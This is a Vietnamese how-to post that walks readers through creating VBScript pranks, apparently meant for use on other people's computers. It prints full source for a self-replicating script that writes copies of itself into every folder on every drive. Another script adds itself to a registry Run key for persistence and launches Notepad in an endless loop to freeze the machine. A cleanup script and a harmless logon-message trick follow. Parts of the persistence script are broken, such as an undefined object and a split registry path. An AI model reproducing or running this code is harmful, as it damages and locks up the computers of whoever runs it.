Bạn vào Start => Run => gõ "NOTEPAD" sau đó nhấn Enter rồi chép đoạn ày vào:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs
nhớ đuôi phải là .VBS nha
chỉ cần chạy file này là "Tràn ngập Virus !"
Còn đây là file thuốc giải:
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
cũng lưu lại như trên với tên : Thuoc_Giai.vbs
nhớ là vbs là đuôi chứ ko phải tên.
mở notepad lên chép đoạn mã sau vào:
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
cái này sẽ làm máy bị treo
lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs"
Ví Dụ: treomay.vbs
tắc máy...mở lên lại là OK...na na nà ná na nà...bình thường trở lại!
- Làm dc cái này, khi vào win bạn sẽ nhận dc 1 thông báo và chỉ có nút ok,nếu ko ok thì ... ko logon dc hihi,rất hữu ích khi nghịch trên máy của bạn
Vào hộp Run nhé,gõ gpedit.msc
Tìm theo đường dẫn Computer Configuration --> Windows Settings --> Local Plicies --> Security Options
Tìm đến Interative logon: Message title ... Gõ vào đó tiêu đề của của sổ
Tìm đến Interative logon: Message text ... Gõ tiếp nội dung của thông báo(cái nì gõ có dấu dc)
Apply --> ok
Vậy là xong rồi đó
bạn có thể trêu người khác, vd như với Title:"You ơi!" và text là:"You có yêu tui ko,yêu thì ấn ok nhé!" Tất nhiên là họ ấn ok rùi,vì ko ấn thì logon làm sao dc hihi
Cách gỡ đi nhé: Làm giống các bước trên nhưng bước cuối các bạn xóa hết đi là dc,Đơn giản phải hok hihi!
Và thêm 1 điều nữa là,khi đã làm xong chỉ cần Logoff thôi,ko cần Restart đâu các U nhé